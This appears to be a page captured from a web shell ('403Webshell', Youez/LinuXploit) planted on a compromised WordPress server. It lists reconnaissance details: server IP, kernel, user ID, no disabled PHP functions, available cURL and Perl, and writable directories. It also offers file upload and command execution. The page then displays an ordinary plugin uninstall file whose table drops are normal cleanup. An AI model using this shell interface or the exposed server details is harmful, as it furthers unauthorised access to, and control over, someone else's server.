403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/google-pagespeed-insights/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/google-pagespeed-insights/classes/class-GPI-Uninstall.php
<?php
/**
 * =======================================
 * Google Pagespeed Insights Uninstall
 * =======================================
 * 
 * 
 * @author Matt Keys <https://profiles.wordpress.org/mattkeys>
 */

if ( ! defined( 'GPI_PLUGIN_FILE' ) ) {
	die();
}

class GPI_Uninstall
{

	static function uninstall()
	{
		global $wpdb;

		$gpi_page_stats			= $wpdb->prefix . 'gpi_page_stats';
		$gpi_page_reports		= $wpdb->prefix . 'gpi_page_reports';
		$gpi_page_blacklist		= $wpdb->prefix . 'gpi_page_blacklist';
		$gpi_custom_urls		= $wpdb->prefix . 'gpi_custom_urls';
		$gpi_summary_snapshots	= $wpdb->prefix . 'gpi_summary_snapshots';
		$gpi_api_error_logs		= $wpdb->prefix . 'gpi_api_error_logs';
	 
		$wpdb->query( "DROP TABLE $gpi_page_stats" );
		$wpdb->query( "DROP TABLE $gpi_page_reports" );
		$wpdb->query( "DROP TABLE $gpi_page_blacklist" );
		$wpdb->query( "DROP TABLE $gpi_custom_urls" );
		$wpdb->query( "DROP TABLE $gpi_summary_snapshots" );
		$wpdb->query( "DROP TABLE $gpi_api_error_logs" );

		delete_option('gpagespeedi_options');
		delete_option('gpagespeedi_ui_options');
		delete_option('gpagespeedi_upgrade_recheck_required');
		delete_option('gpi_progress');
		delete_option('gpi_recheck_urls');
		delete_option('gpi_missed_url_groups');
		delete_option('gpi_error_message');
		delete_option('gpi_abort_scan');
		delete_option('gpi_check_now');

		wp_clear_scheduled_hook( 'gpi_prune_logs' );
		wp_clear_scheduled_hook( 'googlepagespeedinsightsworker' );
	}

}

register_uninstall_hook( GPI_PLUGIN_FILE, array( 'GPI_Uninstall', 'uninstall' ) );

Youez - 2016 - github.com/yon3zu
LinuXploit